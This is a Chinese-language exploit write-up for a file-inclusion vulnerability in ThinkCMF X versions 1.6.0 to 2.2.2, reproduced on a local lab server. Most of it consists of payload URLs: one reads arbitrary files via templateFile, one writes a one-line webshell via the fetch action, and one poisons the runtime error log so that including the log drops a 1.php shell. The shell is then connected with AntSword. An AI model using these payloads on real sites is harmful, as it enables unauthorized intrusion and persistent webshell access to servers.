ThinkCMF框架任意内容包含漏洞
适用版本:
ThinkCMF X1.6.0ThinkCMF X2.1.0ThinkCMF X2.2.0ThinkCMF X2.2.1ThinkCMF X2.2.2
漏洞原因:
因为他在模板路径出的函数运用出现问题,当模板主题不存在时会在当前目录下开始查找,形成文件包含
对应参数:templateFile为模板文件地址
构造文件包含 payload:?a=display&templateFile=README.md
构造一句话木马payload:?a=fetch&templateFile=public/index&prefix=’’&content=
漏洞复现:
我这里是用windows 2008R2的机器当做服务器 用windows10的当做复现机器

首先找到首页目标

文件包含
然后直接在首页上面添加pyload显示结果
http://127.0.0.1/ThinkCMFX/ThinkCMFX/?a=display&templateFile=README.md

写一句话木马
http://127.0.0.1/ThinkCMFX/ThinkCMFX/?a=fetch&templateFile=public/index&prefix=''&content=

如果成功了则会显示空白页面,接下来直接访问1.php就可以看到了

然后蚁剑链接

通过缓存日志写shell
在默认情况下启用了报错日志并且开启了模板缓存,,导致可以使用加载一个不存在的模板来将生成一句话的PHP代码写入data/runtime/Logs/Portal目录下的日志文件中,再次包含该日志文件即可在网站根目录下生成一句话木马
127.0.0.1/ThinkCMFX/ThinkCMFX/?a=display&templateFile=‘);die();?>
当出现下图的时候就已经讲一句话写入日志中了,接下来我们还需要去访问一下日志

http://127.0.0.1/ThinkCMFX/ThinkCMFX/?a=display&templateFile=data/runtime/Logs/Portal/21_06_10.log
21_06_10.log是当天的日期要注意

这样子就会自动生成一个1.php文件了我们就可以直接链接蚁剑了
